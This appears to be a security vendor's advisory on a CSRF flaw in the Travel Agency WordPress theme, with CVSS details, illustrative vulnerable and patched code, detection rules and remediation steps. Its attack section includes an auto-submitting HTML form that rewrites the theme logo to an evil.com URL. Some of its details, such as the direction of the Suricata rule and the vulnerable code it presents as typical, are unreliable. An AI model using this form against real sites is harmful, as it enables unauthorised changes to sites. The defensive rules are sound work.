CVE-2024-37451
Executive Summary
CVE-2024-37451 is a Cross-Site Request Forgery (CSRF) vulnerability in the Travel Agency WordPress theme by Rarathemes, affecting versions from n/a through 1.4.9. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying theme settings or injecting malicious content, by tricking the victim into clicking a crafted link or visiting a malicious page. The CVSS score is 4.3 (Medium), with low impact on integrity and no impact on confidentiality or availability. As of this report, no patch is available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users are advised to monitor for updates from Rarathemes and consider removing the theme if no patch is forthcoming.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must be logged in as admin)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
The threat level is considered Medium due to the requirement for user interaction and the limited impact on integrity. However, in a WordPress ecosystem, CSRF can lead to privilege escalation or site defacement if combined with other vulnerabilities.
Deep Dive & Mechanics
The vulnerability resides in the Travel Agency WordPress theme, which fails to implement proper CSRF tokens or nonces in its administrative functions. This allows an attacker to craft a malicious request (e.g., changing theme options, adding malicious JavaScript, or modifying site settings) that, when executed by an authenticated administrator, performs the action without the admin's consent.
The attack flow:
- Attacker identifies a vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.phpor theme settings page) that lacks CSRF protection. - Attacker crafts a malicious HTML page or link that sends a forged request to the vulnerable endpoint.
- Victim (logged-in admin) visits the malicious page or clicks the link.
- The forged request is executed with the victim's session cookies, performing the unauthorized action.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern. A typical vulnerable code snippet in a WordPress theme might look like:
// Vulnerable: No nonce verification
function travel_agency_save_settings() {
update_option( 'travel_agency_theme_options', $_POST['options'] );
wp_redirect( admin_url( 'themes.php?page=travel-agency' ) );
}
add_action( 'admin_post_travel_agency_save', 'travel_agency_save_settings' );
A patched version would include a nonce check:
// Patched: Nonce verification added
function travel_agency_save_settings() {
if ( ! isset( $_POST['travel_agency_nonce'] ) || ! wp_verify_nonce( $_POST['travel_agency_nonce'], 'travel_agency_save_action' ) ) {
wp_die( 'Security check failed' );
}
update_option( 'travel_agency_theme_options', $_POST['options'] );
wp_redirect( admin_url( 'themes.php?page=travel-agency' ) );
}
add_action( 'admin_post_travel_agency_save', 'travel_agency_save_settings' );
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Target: WordPress site running Travel Agency theme <= 1.4.9
- Attacker machine: Kali Linux or any web server
- Victim: Admin user logged into WordPress
Exploitation Steps:
- Identify a vulnerable endpoint (e.g., theme settings page at
/wp-admin/themes.php?page=travel-agency). - Craft a malicious HTML page that submits a form to the vulnerable endpoint:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="travel_agency_save">
<input type="hidden" name="options[logo_url]" value="http://evil.com/malicious.png">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the HTML page on attacker's server and send the link to the victim (e.g., via email or social engineering).
- When the victim (logged-in admin) visits the page, the form auto-submits, changing the theme logo to a malicious URL.
Blue Team (Defender)
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-post.phpwithaction=travel_agency_savefrom unexpected referrers. - Check server logs for requests with missing or invalid nonce parameters.
- Use Web Application Firewall (WAF) rules to block requests to admin endpoints without proper CSRF tokens.
Mitigation:
- Apply the principle of least privilege; limit admin sessions.
- Use browser extensions like "CSRF Protector" or "Request Policy".
- Implement Content Security Policy (CSP) headers to prevent form submission from external origins.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-post.phpwithaction=travel_agency_savefrom external referrers. - Unusual changes to theme options (e.g., logo URL, custom CSS) without corresponding admin actions.
- POST requests to
Host IOCs:
- Modified entries in
wp_optionstable undertravel_agency_theme_options. - Presence of unexpected JavaScript or iframes in site pages.
- Modified entries in
File IOCs:
- Modified theme files (e.g.,
header.php,footer.php) containing malicious code.
- Modified theme files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_37451_CSRF_Travel_Agency {
meta:
description = "Detects CSRF exploitation attempts against Travel Agency theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-37451"
strings:
$csrf_action = "travel_agency_save" nocase
$admin_post = "admin-post.php" nocase
$theme_option = "travel_agency_theme_options" nocase
condition:
any of ($csrf_action, $admin_post, $theme_option)
}
Sigma Rule
title: CVE-2024-37451 CSRF Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-post.php with travel_agency_save action
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
c-uri|contains: "/wp-admin/admin-post.php"
cs-uri-query|contains: "action=travel_agency_save"
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-37451 CSRF Travel Agency Theme";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/wp-admin/admin-post.php";
http.client_body; content:"action=travel_agency_save";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the Travel Agency theme until a patch is released.
- Switch to an alternative theme with active security support.
- Implement a Web Application Firewall (WAF) with CSRF protection rules.
Long-term Fixes:
- Apply the principle of least privilege; restrict admin access to trusted users only.
- Use WordPress security plugins (e.g., Wordfence, Sucuri) that add CSRF tokens to all admin actions.
- Regularly update all themes and plugins.
Developer Guidance:
- Always use
wp_nonce_field()andcheck_admin_referer()orwp_verify_nonce()in all admin-facing forms and AJAX handlers. - Validate and sanitize all user inputs.
- Always use
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.